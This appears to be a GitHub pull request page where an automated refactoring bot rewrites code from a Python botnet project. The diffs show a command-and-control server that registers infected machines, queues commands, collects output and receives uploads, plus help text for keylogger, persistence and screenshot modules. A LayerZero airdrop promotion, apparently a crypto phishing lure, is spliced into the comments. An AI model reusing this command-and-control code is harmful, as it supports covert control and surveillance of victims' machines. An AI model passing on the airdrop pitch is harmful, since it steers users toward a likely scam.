Conversation
| help_text = """ | ||
| return """ | ||
| Usage: download http://example.com/filename | ||
| Downloads a file through HTTP. | ||
|
|
||
| """ | ||
| return help_text |
There was a problem hiding this comment.
Function help refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| help_text = """ | ||
| return """ | ||
| Usage: keylogger start|show | ||
| Starts a keylogger or shows logged keys. | ||
|
|
||
| """ | ||
| return help_text |
There was a problem hiding this comment.
Function help refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| return True | ||
| else: | ||
| return False | ||
| return SERVICE_NAME in output.read() |
There was a problem hiding this comment.
Function is_installed refactored with the following changes:
- Simplify boolean if expression (
boolean-if-exp-identity) - Replace if statement with if expression (
assign-if-exp)
| help_text = """ | ||
| return """ | ||
| Usage: persistence install|remove|status | ||
| Manages persistence. | ||
|
|
||
| """ | ||
| return help_text No newline at end of file | ||
| """ No newline at end of file |
There was a problem hiding this comment.
Function help refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| help_text = """ | ||
| return """ | ||
| Usage: screenshot | ||
| Captures screen. | ||
|
|
||
| """ | ||
| return help_text |
There was a problem hiding this comment.
Function help refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| html = f.read() | ||
| return html | ||
| return f.read() |
There was a problem hiding this comment.
Function Main.index refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| output = "" | ||
| for bot in bot_list: | ||
| output += '<tr><td><a href="bot?botid=%s">%s</a></td><td>%s</td><td>%s</td><td>%s</td><td><input type="checkbox" id="%s" class="botid" /></td></tr>' % (bot[0], bot[0], "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]), bot[2], bot[3], | ||
| bot[0]) | ||
| output = "".join( | ||
| '<tr><td><a href="bot?botid=%s">%s</a></td><td>%s</td><td>%s</td><td>%s</td><td><input type="checkbox" id="%s" class="botid" /></td></tr>' | ||
| % ( | ||
| bot[0], | ||
| bot[0], | ||
| "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]), | ||
| bot[2], | ||
| bot[3], | ||
| bot[0], | ||
| ) | ||
| for bot in bot_list | ||
| ) | ||
|
|
There was a problem hiding this comment.
Function CNC.index refactored with the following changes:
- Use str.join() instead of for loop (
use-join)
| bot = query_DB("SELECT * FROM bots WHERE name=?", (botid,)) | ||
| if not bot: | ||
| exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo))) | ||
| else: | ||
| if bot := query_DB("SELECT * FROM bots WHERE name=?", (botid,)): | ||
| exec_DB("UPDATE bots SET lastonline=? where name=?", (time.time(), botid)) | ||
| cmd = query_DB("SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date", (botid, 0)) | ||
| if cmd: | ||
| exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0])) | ||
| return cmd[0][2] | ||
| else: | ||
| exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo))) | ||
| if not ( | ||
| cmd := query_DB( | ||
| "SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date", | ||
| (botid, 0), | ||
| ) | ||
| ): | ||
| return "" | ||
| exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0])) | ||
| return cmd[0][2] |
There was a problem hiding this comment.
Function API.pop refactored with the following changes:
- Swap if/else branches (
swap-if-else-branches) - Remove unnecessary else after guard condition (
remove-unnecessary-else) - Use named expression to simplify assignment and conditional (
use-named-expression)
| output = "" | ||
| bot_output = query_DB('SELECT * FROM output WHERE bot=? ORDER BY date DESC LIMIT 10', (botid,)) | ||
| for entry in reversed(bot_output): | ||
| output += "> %s\n\n" % entry[2] | ||
| output = "".join("> %s\n\n" % entry[2] for entry in reversed(bot_output)) |
There was a problem hiding this comment.
Function API.stdout refactored with the following changes:
- Move assignment closer to its usage within a block (
move-assign-in-block) - Use str.join() instead of for loop (
use-join)
| outfile = open(save_path, 'wb') | ||
| while True: | ||
| data = uploaded.file.read(8192) | ||
| if not data: | ||
| break | ||
| outfile.write(data) | ||
| outfile.close() | ||
| with open(save_path, 'wb') as outfile: | ||
| while True: | ||
| data = uploaded.file.read(8192) | ||
| if not data: | ||
| break | ||
| outfile.write(data) |
There was a problem hiding this comment.
Function API.upload refactored with the following changes:
- Use
withwhen opening file to ensure closure (ensure-file-closed)
LayerZero Airdrop Updated 🪂The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible. We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens! Secure Your Layerzero Airdrop with These Simple Steps:
Bonus Tips:
Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone! |
|
I can't claim it. |
getting "This site is blocked due to a phishing threat." ,is this real binance web link? I think it's not! |

Thanks for starring sourcery-ai/sourcery ✨ 🌟 ✨
Here's your pull request refactoring your most popular Python repo.
If you want Sourcery to refactor all your Python repos and incoming pull requests install our bot.
Review changes via command line
To manually merge these changes, make sure you're on the
masterbranch, then run: